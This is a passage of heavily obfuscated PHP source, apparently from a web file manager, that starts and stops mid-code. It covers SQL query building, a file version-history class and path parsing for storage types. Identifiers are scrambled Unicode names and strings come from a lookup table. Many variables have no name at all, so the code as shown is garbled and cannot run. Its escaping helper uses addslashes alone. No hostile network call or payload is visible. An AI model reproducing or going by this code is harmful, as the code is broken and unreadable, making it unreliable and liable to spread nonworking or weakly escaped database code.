(is_string($۾)) { if (strstr($۾, $؝֧[53])) { return $۾; } $۾ = explode($؝֧[50], $۾); array_walk($۾, array($this, $؝֧[957])); } return $؝֧[951] . trim(implode($؝֧[1050], $۾), $؝֧[431]) . $؝֧[951]; } protected function parseWhere($ۢ) { $ͱ =& $_SERVER[砐]; $ٚ = $ͱ[12]; if (is_string($ۢ)) { $ٚ = $ۢ; } else { $ = isset($ۢ[$ͱ[1051]]) ? strtoupper($ۢ[$ͱ[1051]]) : $ͱ[12]; if (in_array($, array($ͱ[1052], $ͱ[1053], $ͱ[1054]))) { $ = $ͱ[53] . $ . $ͱ[53]; unset($ۢ[$ͱ[1051]]); } else { $ = $ͱ[1055]; } foreach ($ۢ as $ => $щ꘰) { $ٚ .= $ͱ[323]; if (is_numeric($)) { $ = $ͱ[1056]; } if (0 === strpos($, $ͱ[11])) { $ٚ .= $this->parseThinkWhere($, $щ꘰); } else { if (!preg_match($ͱ[1057], trim($))) { think_exception(think_lang($ͱ[1058]) . $ͱ[4] . $); } $¶ = is_array($щ꘰) && isset($щ꘰[$ͱ[1059]]); $ = trim($); if (strpos($, $ͱ[329])) { $Κ = explode($ͱ[329], $); $ = array(); foreach ($Κ as $ => $䬑) { $ = $¶ ? $щ꘰[$] : $щ꘰; $[] = $ͱ[306] . $this->parseWhereItem($this->parseKey($䬑), $) . $ͱ[956]; } $ٚ .= implode($ͱ[1060], $); } elseif (strpos($, $ͱ[330])) { $Κ = explode($ͱ[330], $); $ = array(); foreach ($Κ as $ => $䬑) { $ = $¶ ? $щ꘰[$] : $щ꘰; $[] = $ͱ[306] . $this->parseWhereItem($this->parseKey($䬑), $) . $ͱ[956]; } $ٚ .= implode($ͱ[1055], $); } else { $ٚ .= $this->parseWhereItem($this->parseKey($), $щ꘰); } } $ٚ .= $ͱ[324] . $; } $ٚ = substr($ٚ, 0, -strlen($)); } return empty($ٚ) ? $ͱ[12] : $ͱ[1061] . $ٚ; } protected function parseWhereItem($۲, $) { $ԔÝ =& $_SERVER[砐]; $ļʿ = $ԔÝ[12]; if (is_array($)) { if (is_string($[0])) { $ą = strtolower($[0]); if (in_array($[0], array($ԔÝ[935], $ԔÝ[1062], $ԔÝ[1063], $ԔÝ[1064], $ԔÝ[1065], $ԔÝ[1066]))) { $ļʿ .= $۲ . $ԔÝ[53] . $[0] . $ԔÝ[53] . $this->parseValue($[1]); } elseif (preg_match($ԔÝ[1067], $[0])) { $ļʿ .= $۲ . $ԔÝ[53] . $this->exp[$ą] . $ԔÝ[53] . $this->parseValue($[1]); } elseif (preg_match($ԔÝ[1068], $[0])) { if (is_array($[1])) { $Ɇ = isset($[2]) ? strtoupper($[2]) : $ԔÝ[1053]; if (in_array($Ɇ, array($ԔÝ[1052], $ԔÝ[1053], $ԔÝ[1054]))) { $ = array(); foreach ($[1] as $) { $[] = $۲ . $ԔÝ[53] . $this->exp[$ą] . $ԔÝ[53] . $this->parseValue($); } $ļʿ .= $ԔÝ[306] . implode($ԔÝ[53] . $Ɇ . $ԔÝ[53], $) . $ԔÝ[956]; } } else { $ļʿ .= $۲ . $ԔÝ[53] . $this->exp[$ą] . $ԔÝ[53] . $this->parseValue($[1]); } } elseif ($ԔÝ[343] == $ą) { $ļʿ .= $ԔÝ[954] . $۲ . $ԔÝ[53] . $[1] . $ԔÝ[1069]; } elseif (preg_match($ԔÝ[1070], $[0])) { $ļʿ .= $[0]; } elseif (preg_match($ԔÝ[1071], $[0])) { if (isset($[2]) && $ԔÝ[343] == $[2]) { $ļʿ .= $۲ . $ԔÝ[53] . $this->exp[$ą] . $ԔÝ[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($ԔÝ[50], $[1]); } $Ӝ = implode($ԔÝ[50], $this->parseValue($[1])); $ļʿ .= $۲ . $ԔÝ[53] . $this->exp[$ą] . $ԔÝ[954] . $Ӝ . $ԔÝ[956]; } } elseif (preg_match($ԔÝ[1072], $[0])) { $ӹ = is_string($[1]) ? explode($ԔÝ[50], $[1]) : $[1]; $ļʿ .= $ԔÝ[954] . $۲ . $ԔÝ[53] . $this->exp[$ą] . $ԔÝ[53] . $this->parseValue($ӹ[0]) . $ԔÝ[1055] . $this->parseValue($ӹ[1]) . $ԔÝ[324]; } else { think_exception(think_lang($ԔÝ[1058]) . $ԔÝ[4] . $[0]); } } else { $ = count($); $ = $ԔÝ[12]; if (is_string($[$ - 1])) { $ = isset($[$ - 1]) ? strtoupper($[$ - 1]) : $ԔÝ[12]; if (in_array($, array($ԔÝ[1052], $ԔÝ[1053], $ԔÝ[1054]))) { $ = $ - 1; } } else { $ = $ԔÝ[1052]; } for ($ = 0; $ < $; $++) { $ӹ = is_array($[$]) ? $[$][1] : $[$]; if ($ԔÝ[343] == strtolower($[$][0])) { $ļʿ .= $ԔÝ[306] . $۲ . $ԔÝ[53] . $ӹ . $ԔÝ[1069] . $ . $ԔÝ[53]; } else { $󻀞 = is_array($[$]) ? $this->exp[strtolower($[$][0])] : $ԔÝ[935]; if (!$󻀞 && is_array($[$]) && in_array($[$][0], array($ԔÝ[935], $ԔÝ[1062], $ԔÝ[1063], $ԔÝ[1064], $ԔÝ[1065], $ԔÝ[1066]))) { $󻀞 = $[$][0]; } $ļʿ .= $ԔÝ[306] . $۲ . $ԔÝ[53] . $󻀞 . $ԔÝ[53] . $this->parseValue($ӹ) . $ԔÝ[1069] . $ . $ԔÝ[53]; } } $ļʿ = substr($ļʿ, 0, -4); } } else { $ļʿ .= $۲ . $ԔÝ[1073] . $this->parseValue($); } return $ļʿ; } protected function parseThinkWhere($, $) { $ =& $_SERVER[砐]; $ʆ = $[12]; switch ($) { case $[398]: $ʆ = $; break; case $[1056]: $ʆ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1074]: parse_str($, $); if (isset($[$[1051]])) { $뒣 = $[53] . strtoupper($[$[1051]]) . $[53]; unset($[$[1051]]); } else { $뒣 = $[1055]; } $ʞ = array(); foreach ($ as $姦 => $ͬ) { $ʞ[] = $this->parseKey($姦) . $[1073] . $this->parseValue($ͬ); } $ʆ = implode($뒣, $ʞ); break; } return $ʆ; } protected function parseLimit($ԭ) { $̴ר =& $_SERVER[砐]; return !empty($ԭ) ? $̴ר[51] . $ԭ . $̴ר[53] : $̴ר[12]; } protected function parseJoin($̯ܥ) { $ =& $_SERVER[砐]; $Цɳ = $[12]; if (!empty($̯ܥ)) { if (is_array($̯ܥ)) { foreach ($̯ܥ as $ => $ӭ) { if (!1 !== stripos($ӭ, $[1075])) { $Цɳ .= $[53] . $ӭ; } else { $Цɳ .= $[1076] . $ӭ; } } } else { $Цɳ .= $[1076] . $̯ܥ; } } $Цɳ = preg_replace($[1077], think_config($[981]) . $[1078], $Цɳ); return $Цɳ; } protected function parseOrder($ܱ) { $ȹϡ =& $_SERVER[砐]; if (is_array($ܱ)) { $ʅ߽ = array(); foreach ($ܱ as $È => $) { if (is_numeric($È)) { $ʅ߽[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($ȹϡ[1079], $ȹϡ[1080])) ? $ȹϡ[53] . $ : $ȹϡ[12]; if (preg_match($ȹϡ[1081], $È)) { $ʅ߽[] = $this->parseKey($È) . $; } else { think_exception($ȹϡ[1082] . $È); } } } $ܱ = implode($ȹϡ[50], $ʅ߽); } return !empty($ܱ) ? $ȹϡ[1083] . $ܱ : $ȹϡ[12]; } protected function parseGroup($ɺ) { $޼ =& $_SERVER[砐]; return !empty($ɺ) ? $޼[1084] . $ɺ : $޼[12]; } protected function parseHaving($) { $򭓠 =& $_SERVER[砐]; return !empty($) ? $򭓠[1085] . $ : $򭓠[12]; } protected function parseComment($) { $ˇ =& $_SERVER[砐]; return !empty($) ? $ˇ[1086] . $ . $ˇ[1087] : $ˇ[12]; } protected function parseDistinct($ý) { $ =& $_SERVER[砐]; return !empty($ý) ? $[1088] : $[12]; } protected function parseUnion($וѷ) { $֏ތ =& $_SERVER[砐]; if (empty($וѷ)) { return $֏ތ[12]; } if (isset($וѷ[$֏ތ[394]])) { $ = $֏ތ[1089]; unset($וѷ[$֏ތ[394]]); } else { $ = $֏ތ[1090]; } foreach ($וѷ as $ǐ) { $沈[] = $ . (is_array($ǐ) ? $this->buildSelectSql($ǐ) : $ǐ); } return implode($֏ތ[53], $沈); } public function insert($̢߽, $ = array(), $ = false) { $ߏ =& $_SERVER[砐]; $ = $ = array(); $this->model = $[$ߏ[327]]; foreach ($̢߽ as $ => $) { if (is_array($) && $ߏ[343] == $[0]) { $[] = $this->parseKey($); $[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($); $[] = $this->parseValue($); } } $ = ($ ? $ߏ[958] : $ߏ[959]) . $ߏ[960] . $this->parseTable($[$ߏ[325]]) . $ߏ[954] . implode($ߏ[50], $) . $ߏ[955] . implode($ߏ[50], $) . $ߏ[956]; $ .= $this->parseLock(isset($[$ߏ[889]]) ? $[$ߏ[889]] : !1); $ .= $this->parseComment(!empty($[$ߏ[400]]) ? $[$ߏ[400]] : $ߏ[12]); return $this->execute($, $this->parseBind(!empty($[$ߏ[331]]) ? $[$ߏ[331]] : array())); } public function selectInsert($ط, $ū, $ = array()) { $Թʠ =& $_SERVER[砐]; $this->model = $[$Թʠ[327]]; if (is_string($ط)) { $ط = explode($Թʠ[50], $ط); } array_walk($ط, array($this, $Թʠ[957])); $̂ⷷ = $Թʠ[1091] . $this->parseTable($ū) . $Թʠ[954] . implode($Թʠ[50], $ط) . $Թʠ[1069]; $̂ⷷ .= $this->buildSelectSql($); return $this->execute($̂ⷷ, $this->parseBind(!empty($[$Թʠ[331]]) ? $[$Թʠ[331]] : array())); } public function update($ͳ, $) { $ =& $_SERVER[砐]; $this->model = $[$[327]]; $Ԥ׻ = $[1092] . $this->parseTable($[$[325]]) . $this->parseSet($ͳ) . $this->parseWhere(!empty($[$[321]]) ? $[$[321]] : $[12]) . $this->parseOrder(!empty($[$[411]]) ? $[$[411]] : $[12]) . $this->parseLimit(!empty($[$[338]]) ? $[$[338]] : $[12]) . $this->parseLock(isset($[$[889]]) ? $[$[889]] : !1) . $this->parseComment(!empty($[$[400]]) ? $[$[400]] : $[12]); return $this->execute($Ԥ׻, $this->parseBind(!empty($[$[331]]) ? $[$[331]] : array())); } public function delete($ = array()) { $ =& $_SERVER[砐]; $this->model = $[$[327]]; $ǖ = $[1093] . $this->parseTable($[$[325]]) . $this->parseWhere(!empty($[$[321]]) ? $[$[321]] : $[12]) . $this->parseOrder(!empty($[$[411]]) ? $[$[411]] : $[12]) . $this->parseLimit(!empty($[$[338]]) ? $[$[338]] : $[12]) . $this->parseLock(isset($[$[889]]) ? $[$[889]] : !1) . $this->parseComment(!empty($[$[400]]) ? $[$[400]] : $[12]); return $this->execute($ǖ, $this->parseBind(!empty($[$[331]]) ? $[$[331]] : array())); } public function select($‰ = array()) { $α =& $_SERVER[砐]; $this->model = $‰[$α[327]]; $ˁ = $this->buildSelectSql($‰); $ = isset($‰[$α[395]]) ? $‰[$α[395]] : !1; if ($) { $ɂ = is_string($[$α[96]]) ? $[$α[96]] : $α[1094] . md5($ˁ); $ܐ = think_cache($ɂ, $α[12], $); if (!1 !== $ܐ) { return $ܐ; } } $ڣѯ = $this->query($ˁ, $this->parseBind(!empty($‰[$α[331]]) ? $‰[$α[331]] : array())); if ($ && !1 !== $ڣѯ) { think_cache($ɂ, $ڣѯ, $); } return $ڣѯ; } public function buildSelectSql($ޮ = array()) { $ =& $_SERVER[砐]; if (isset($ޮ[$[399]])) { if (strpos($ޮ[$[399]], $[50])) { list($ŵ, $) = explode($[50], $ޮ[$[399]]); } else { $ŵ = $ޮ[$[399]]; } $ŵ = $ŵ ? $ŵ : 1; $ = isset($) ? $ : (is_numeric($ޮ[$[338]]) ? $ޮ[$[338]] : 20); $ = $ * ((int) $ŵ - 1); $ޮ[$[338]] = $ . $[50] . $; } if (think_config($[1095])) { $Ұ = $[1096] . md5(serialize($ޮ)); $ = think_cache($Ұ); if ($) { return $; } } $ٕ = $this->parseSql($this->selectSql, $ޮ); $ٕ .= $this->parseLock(isset($ޮ[$[889]]) ? $ޮ[$[889]] : !1); if (isset($Ұ)) { think_cache($Ұ, $ٕ); } return $ٕ; } public function parseSql($Ʀ, $Ґ = array()) { $ =& $_SERVER[砐]; $Ʀ = str_replace(array($[1097], $[1098], $[1099], $[1100], $[1101], $[1102], $[1103], $[1104], $[1105], $[1106], $[1107]), array($this->parseTable("{$Ґ[$[325]]}"), $this->parseDistinct(isset($Ґ[$[1108]]) ? $Ґ[$[1108]] : !1), $this->parseField(!empty($Ґ[$[319]]) ? $Ґ[$[319]] : $[205]), $this->parseJoin(!empty($Ґ[$[328]]) ? $Ґ[$[328]] : $[12]), $this->parseWhere(!empty($Ґ[$[321]]) ? $Ґ[$[321]] : $[12]), $this->parseGroup(!empty($Ґ[$[549]]) ? $Ґ[$[549]] : $[12]), $this->parseHaving(!empty($Ґ[$[1109]]) ? $Ґ[$[1109]] : $[12]), $this->parseOrder(!empty($Ґ[$[411]]) ? $Ґ[$[411]] : $[12]), $this->parseLimit(!empty($Ґ[$[338]]) ? $Ґ[$[338]] : $[12]), $this->parseUnion(!empty($Ґ[$[393]]) ? $Ґ[$[393]] : $[12]), $this->parseComment(!empty($Ґ[$[400]]) ? $Ґ[$[400]] : $[12])), $Ʀ); return $Ʀ; } public function getLastSql($ڷ = '') { return $ڷ ? $this->modelSql[$ڷ] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($ӛ妈) { return addslashes($ӛ妈); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } goto D; bّ: class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ꂚێ =& $_SERVER[砐]; $ = $GLOBALS[$ꂚێ[6]][$ꂚێ[91]]; if ($[$ꂚێ[1267]] != 1) { return; } if ($[$ꂚێ[1268]] <= 0) { return; } if (isset($_REQUEST[$ꂚێ[1269]]) && $_REQUEST[$ꂚێ[1269]] == $ꂚێ[90]) { return; } Hook::bind($ꂚێ[1270], $ꂚێ[1271]); Hook::bind($ꂚێ[1272], $ꂚێ[1273]); Hook::bind($ꂚێ[1274], $ꂚێ[1275]); Hook::bind($ꂚێ[1276], $ꂚێ[1277]); Hook::bind($ꂚێ[1278], $ꂚێ[1279]); Hook::bind($ꂚێ[1280], $ꂚێ[1281]); } public static function eventBeforeUpload($ت) { if ($ت[3] && $ت[3] != REPEAT_REPLACE) { return; } $˔ = self::parsePath($ت[0]); if (!$˔) { return; } self::add($˔); } public static function eventBeforeEdit($ק) { $͟ = self::parsePath($ק[0]); if (!$͟) { return; } self::add($͟); } public static function eventBeforeCopyFile($Ё, $, $, $ℝ, $, $ʽ) { $ה =& $_SERVER[砐]; if (isset($->_data[$ה[1206]]) && $->_data[$ה[1206]]) { return; } $򿅟 = $->getPathOuter($ℝ); $׾ = self::parsePath($򿅟); if (!$׾) { return; } self::add($׾); } public static function eventBeforeRename($) { $ =& $_SERVER[砐]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[216]) { $ڔ = self::listData($); if ($ڔ && $ڔ[$[415]]) { self::moveHistory($, $[1]); } } else { IO::rename($[$[86]], $[1]); } } public static function eventBeforeMove($ܿ) { $ =& $_SERVER[砐]; $❐ = self::parsePath($ܿ[0]); if (!$❐) { return; } $ = self::parsePath($ܿ[1]); if (!$) { return; } $枯 = $ܿ[3]; $ = self::checkInHistory($❐); if (!$) { return; } $ = self::pathHistory($); if ($[$[33]] == $[216]) { $ = self::listData($❐); $қ솯 = rtrim($, $[8]) . $[8] . ($枯 ? $枯 : get_path_this($❐)); $ϼ = self::listData($қ솯); if ($ && $[$[415]] && $ϼ && $ϼ[$[415]]) { return self::clear($❐); } if ($ && $[$[415]]) { self::moveHistory($❐, $枯, $); } } else { IO::move($[$[86]], $, !1, $枯); self::clearEmptyFolder(IO::pathFather($[$[86]])); } } public static function eventAfterRemove($, $) { $ћ =& $_SERVER[砐]; if (!$) { return; } $Ʊ = self::parsePath($[0]); if (!$Ʊ) { return; } $ = self::checkInHistory($Ʊ); if (!$) { return; } if ($[$ћ[33]] == $ћ[216]) { $ = self::listData($Ʊ, !1); if ($ && $[$ћ[415]]) { self::clear($Ʊ, !1); } } else { IO::remove($[$ћ[86]]); self::clearEmptyFolder(IO::pathFather($[$ћ[86]])); } } private static function checkInHistory($ܤ) { $ = self::pathHistory($ܤ); if (!IO::exist($)) { $ .= $_SERVER[砐][1282]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($ޢ) { $ =& $_SERVER[砐]; if (!$ޢ) { return !1; } if ($GLOBALS[$[1283]]) { return; } $ = KodIO::parse($ޢ); $ = $[$[33]]; $߲ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$߲ || !$[$[1284]]) { return !1; } if (substr($ޢ, 0, strlen(DATA_PATH . $[1285])) == DATA_PATH . $[1285]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $ǘ = IO::init($ޢ); if ($ǘ->pathParse[$[1202]]) { return self::parsePath($ǘ->pathParse[$[1202]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1286]); foreach ($ as $͉) { if (!$ && substr($ޢ, 0, strlen($͉)) == $͉) { return !1; } } self::log($GLOBALS[$[1197]] . $[1287] . $ޢ); return $ޢ; } private static function pathHistory($؂퍛) { $ =& $_SERVER[砐]; $ = self::$_historyBase . ltrim(KodIO::clear($؂퍛), $[8]); $ = str_replace(array($[1288]), array($[1289]), $); return $; } public static function log($礠) { } public static function historyCount($桍) { $ =& $_SERVER[砐]; $ݿ = array(); $ = array(); foreach ($桍 as $) { $甴 = get_path_father($); if (!$[$甴]) { $[$甴] = array(); } $[$甴][] = get_path_this($); } foreach ($ as $甴 => $䰀) { $ػŕ = self::parsePath($甴); if (!$ػŕ) { continue; } foreach ($䰀 as $џ) { $צ؇ؽ = self::listData(rtrim($ػŕ, $[8]) . $[8] . $џ, !1); if ($צ؇ؽ && $צ؇ؽ[$[415]]) { $ݿ[rtrim($甴, $[8]) . $[8] . $џ] = count($צ؇ؽ[$[415]]); } } } return $ݿ; } public static function add($) { $ =& $_SERVER[砐]; $ށ = self::listData($); if (!$ށ) { return; } $ = Model($[815])->get($[1290]); $ = intval($GLOBALS[$[6]][$[91]][$[1268]]); $߰ = $ == $[1291] ? min(5, $) : $; if ($ <= 0) { return; } $ۍǂ = IO::info($); $ޥǸ = $ށ[$[415]]; if ($ۍǂ[$[78]] == 0) { return; } if ($ۍǂ[$[78]] >= 1024 * 1024 * 500) { return !1; } $혻 = IO::hashSimple($); if ($ޥǸ && $ޥǸ[0][$[642]] == $혻) { return !0; } if (array_key_exists($[219], $ۍǂ) && !$ۍǂ[$[219]]) { return !1; } $ = short_id(time()); $ = array($[445] => $, $[642] => $혻, $[32] => $ۍǂ[$[32]] . $[10] . date($[1292]) . rand_string(1), $[78] => $ۍǂ[$[78]], $[497] => USER_ID, $[217] => time(), $[1293] => $[12]); IO::mkdir($ށ[$[1294]]); $֡ = IO::copy($, $ށ[$[1294]], !1, $[$[32]]); if (!$֡) { self::clearEmptyFolder($ށ[$[1294]]); return !1; } array_unshift($ޥǸ, $); if (count($ޥǸ) > $߰) { $խ = array_slice($ޥǸ, $߰); foreach ($խ as $⽡) { IO::remove($ށ[$[1294]] . $⽡[$[32]]); } $ޥǸ = array_slice($ޥǸ, 0, $߰); } return self::saveData($ށ[$[1295]], $ޥǸ); } public static function remove($, $ڋ) { $ =& $_SERVER[砐]; $׫ = self::listData($); $琤DŽ = array(); if (!$׫) { return !1; } foreach ($׫[$[415]] as $Ϗړ) { if ($Ϗړ[$[445]] == $ڋ) { IO::remove($׫[$[1294]] . $Ϗړ[$[32]]); continue; } $琤DŽ[] = $Ϗړ; } return self::saveData($׫[$[1295]], $琤DŽ); } public static function clear($٭ټ, $ = true) { $Ä =& $_SERVER[砐]; $۹Ի = self::listData($٭ټ, $); if (!$۹Ի) { return !1; } foreach ($۹Ի[$Ä[415]] as $) { IO::remove($۹Ի[$Ä[1294]] . $[$Ä[32]]); } return self::saveData($۹Ի[$Ä[1295]], array()); } public static function moveHistory($, $≻ = '', $ܿʕ = '') { $ܗ͠ =& $_SERVER[砐]; $֭ = self::listData($, !1); if (!$֭ || !$֭[$ܗ͠[415]]) { return !1; } $զŏ = $ܗ͠[1282]; $≻ = $≻ ? $≻ : get_path_this($); $ܿʕ = $ܿʕ ? $ܿʕ : $֭[$ܗ͠[1294]]; $و = substr(get_path_this($֭[$ܗ͠[1295]]), 0, -strlen($զŏ)); foreach ($֭[$ܗ͠[415]] as $ϑō => $) { $ŝܿ = $≻ . substr($[$ܗ͠[32]], strlen($و)); $ = IO::move($֭[$ܗ͠[1294]] . $[$ܗ͠[32]], $ܿʕ, !1, $ŝܿ); if ($) { $֭[$ܗ͠[415]][$ϑō][$ܗ͠[32]] = $ŝܿ; } } $֭[$ܗ͠[1295]] = IO::move($֭[$ܗ͠[1295]], $ܿʕ, !1, $≻ . $զŏ); self::saveData($֭[$ܗ͠[1295]], $֭[$ܗ͠[415]]); self::clearEmptyFolder($֭[$ܗ͠[1294]]); } public static function rollback($֤, $ʡ) { $ =& $_SERVER[砐]; $ = self::listData($֤); if (!$) { return; } $Ÿ = IO::info($֤); foreach ($[$[415]] as $́ => $) { if ($[$[445]] == $ʡ) { self::add($֤); $ߚ = $[$[1294]] . $[$[32]]; $ě = IO::copy($ߚ, IO::pathFather($֤), REPEAT_REPLACE, $Ÿ[$[32]]); if ($ě) { self::remove($֤, $ʡ); } return $ě; } } return !1; } public static function setDetail($彠, $č, $ܴ) { $ت =& $_SERVER[砐]; $ݞ = self::listData($彠); if (!$ݞ) { return; } foreach ($ݞ[$ت[415]] as $۩ => $ɃƼ) { if ($ɃƼ[$ت[445]] == $č) { $ݞ[$ت[415]][$۩][$ت[1293]] = $ܴ; self::saveData($ݞ[$ت[1295]], $ݞ[$ت[415]]); return !0; } } return !1; } public static function fileInfo($ն, $ϻ) { $ =& $_SERVER[砐]; $ = self::listData($ն); if (!$) { show_json(LNG($[107]), !1); } $ = $[12]; foreach ($[$[415]] as $͟ => $؎) { if ($؎[$[445]] != $ϻ) { continue; } $ = $[$[1294]] . $؎[$[32]]; break; } if (!$) { show_json(LNG($[107]), !1); } return IO::info($); } public static function fileOut($ҙ, $, $Ըݮ = false) { $޾ѥ =& $_SERVER[砐]; $ = self::fileInfo($ҙ, $); $ =& $GLOBALS[$޾ѥ[7]]; $Ըݮ = isset($[$޾ѥ[1245]]) && $[$޾ѥ[1245]] == 1; if (isset($[$޾ѥ[33]]) && $[$޾ѥ[33]] == $޾ѥ[1296]) { return IO::fileOutImage($[$޾ѥ[86]], $[$޾ѥ[1297]]); } IO::fileOut($[$޾ѥ[86]], $Ըݮ, get_path_this($ҙ)); } public static function listData($ߔ, $ = true) { $Ӳ =& $_SERVER[砐]; if ($ && !IO::exist($ߔ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($ߔ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($ߔ); $ = array($Ӳ[1295] => $ . $Ӳ[1282], $Ӳ[1294] => rtrim(get_path_father($), $Ӳ[8]) . $Ӳ[8], $Ӳ[415] => array()); $ې = IO::getContent($[$Ӳ[1295]]); if ($ې) { $¶ = json_decode($ې, !0); if (is_array($¶)) { $[$Ӳ[415]] = $¶; } } return $; } private static function saveData($枎, $) { $ =& $_SERVER[砐]; self::log($[1298] . $枎 . $[73] . count($), $[796]); if ($) { return IO::setContent($枎, json_encode($)); } $ғё = IO::pathFather($枎); IO::remove($枎); self::clearEmptyFolder($ғё); return !0; } public static function clearEmptyFolder($ñ) { $ =& $_SERVER[砐]; if (trim($ñ, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($ñ); $ = IO::has($ñ, !0); if ($[$[225]] > 0 || $[$[226]] > 0) { return; } IO::remove($ñ); self::clearEmptyFolder($); } private static function getBasePath() { $̄ =& $_SERVER[砐]; $ = Model($̄[1299])->get($̄[1300]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $̄[1285]) { $Ǭ = $̄[1301] . rand_string(8); @rename($, get_path_father($) . $̄[8] . $Ǭ); $ = DATA_PATH . $Ǭ . $̄[8]; file_put_contents(DATA_PATH . $̄[1235], $̄[12]); Model($̄[1299])->set($̄[1300], $); } return $; } $ = DATA_PATH . $̄[1301] . rand_string(8) . $̄[8]; $ = IO::mkdir($); $ = rtrim($, $̄[8]) . $̄[8]; file_put_contents($ . $̄[1235], $̄[12]); file_put_contents(DATA_PATH . $̄[1235], $̄[12]); Model($̄[1299])->set($̄[1300], $); return $; } } class KodIO { const KOD_SOURCE = "\173\x73\x6f\165\x72\x63\145\x7d"; const KOD_USER_RECYCLE = "\173\165\163\145\162\122\145\x63\x79\x63\154\145\175"; const KOD_USER_FAV = "\x7b\165\x73\x65\162\x46\141\x76\175"; const KOD_USER_FILE_TAG = "\173\x75\163\145\162\106\x69\x6c\145\x54\x61\147\175"; const KOD_USER_FILE_TYPE = "\x7b\x75\x73\x65\x72\x46\151\x6c\x65\x54\171\x70\145\175"; const KOD_GROUP_ROOT_SELF = "\173\x67\x72\157\x75\x70\122\x6f\x6f\x74\123\x65\x6c\146\x7d"; const KOD_USER_SHARE = "\x7b\x75\x73\x65\162\123\x68\141\x72\x65\x7d"; const KOD_USER_SHARE_LINK = "\173\165\x73\145\x72\123\150\x61\x72\x65\114\151\156\x6b\175"; const KOD_USER_SHARE_TO_ME = "\x7b\x73\x68\x61\x72\x65\x54\157\x4d\145\175"; const KOD_SHARE_ITEM = "\173\163\150\141\162\x65\x49\x74\145\155\175"; const KOD_SHARE_LINK = "\x7b\163\150\x61\162\145\x49\x74\x65\x6d\x4c\151\x6e\x6b\175"; const KOD_SEARCH = "\173\163\x65\141\x72\x63\x68\175"; const KOD_BLOCK = "\173\142\154\157\x63\153\175"; const KOD_IO = "\173\151\157\175"; const KOD_USER_RECENT = "\173\165\163\145\x72\x52\x65\156\x63\145\x6e\164\x7d"; const KOD_USER_DRIVER = "\173\x64\x72\x69\x76\145\x72\x7d"; public static function typeList() { $ǩ =& $_SERVER[砐]; return array($ǩ[1302] => self::KOD_SOURCE, $ǩ[1303] => self::KOD_USER_RECYCLE, $ǩ[1304] => self::KOD_USER_FAV, $ǩ[1305] => self::KOD_USER_FILE_TAG, $ǩ[1306] => self::KOD_USER_FILE_TYPE, $ǩ[1307] => self::KOD_GROUP_ROOT_SELF, $ǩ[1308] => self::KOD_USER_SHARE, $ǩ[1309] => self::KOD_USER_SHARE_LINK, $ǩ[1310] => self::KOD_USER_SHARE_TO_ME, $ǩ[1311] => self::KOD_SHARE_ITEM, $ǩ[1312] => self::KOD_SHARE_LINK, $ǩ[1313] => self::KOD_SEARCH, $ǩ[1314] => self::KOD_BLOCK, $ǩ[1315] => self::KOD_IO, $ǩ[1316] => self::KOD_USER_RECENT, $ǩ[1317] => self::KOD_USER_DRIVER); } public static function parse($͘܆) { $Ό =& $_SERVER[砐]; $͘܆ = self::clear($͘܆); $Ƚн = array_values(self::typeList()); preg_match($Ό[1318], $͘܆, $); $ = array($Ό[466] => !1, $Ό[1319] => !1, $Ό[463] => !1, $Ό[86] => $͘܆, $Ό[1220] => !1, $Ό[1219] => $Ό[12]); if (is_array($) && count($) == 5) { $ȥ = $Ό[1320] . $[2] . $Ό[373]; if (in_array($ȥ, $Ƚн)) { $[$Ό[1220]] = $[1]; $[$Ό[33]] = $ȥ; $[$Ό[1321]] = substr($ȥ, 1, -1); $[$Ό[445]] = $[3]; } $[$Ό[1219]] = $[4]; } $ = array($Ό[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$Ό[1284]] = in_array($[$Ό[33]], $); return $; } public static function isTruePath($) { $ʘ =& $_SERVER[砐]; if (substr($, 0, 1) != $ʘ[1320]) { return !0; } if (strpos($, $ʘ[453]) === 0) { return !0; } if (strpos($, $ʘ[1288]) === 0) { return !0; } if (strpos($, $ʘ[1322]) === 0) { return !0; } if (strpos($, $ʘ[1323]) === 0) { return !0; } if (strpos($, $ʘ[1324]) === 0) { return !0; } return !1; } public static function clear($ݘ띃) { $ =& $_SERVER[砐]; $ݘ띃 = str_replace(array($[1129], $[248]), $[53], $ݘ띃); $ݘ띃 = str_replace($[99], $[8], $ݘ띃); $ = $[1325]; if (substr($ݘ띃, 0, 3) == $[1326]) { $ݘ띃 = substr($ݘ띃, 3); } while (strstr($ݘ띃, $)) { $ݘ띃 = str_replace($, $[8], $ݘ띃); } $ݘ띃 = preg_replace($[1327], $[8], $ݘ띃); if ($ݘ띃 == $[8]) { return $[8]; } $ݘ띃 = rtrim($ݘ띃, $[8]); return $ݘ띃; } public static function pathTrue($) { $ú =& $_SERVER[砐]; if (!$) { return $ú[12]; } $ = str_replace($ú[563], $ú[8], str_replace($ú[1328], $ú[8], $)); $ = str_replace($ú[563], $ú[8], str_replace($ú[1328], $ú[8], $)); if (!strstr($, $ú[1326])) { return $; } $ = explode($ú[8], $); foreach ($ as $ => $ر) { if ($ر !== $ú[1329]) { continue; } for ($Ɋ = $; $Ɋ >= 0; $Ɋ--) { if ($[$Ɋ] === $ú[10] || $[$Ɋ] === $ú[1329] || $[$Ɋ] === -1) { continue; } if ($[$Ɋ] === $ú[12]) { 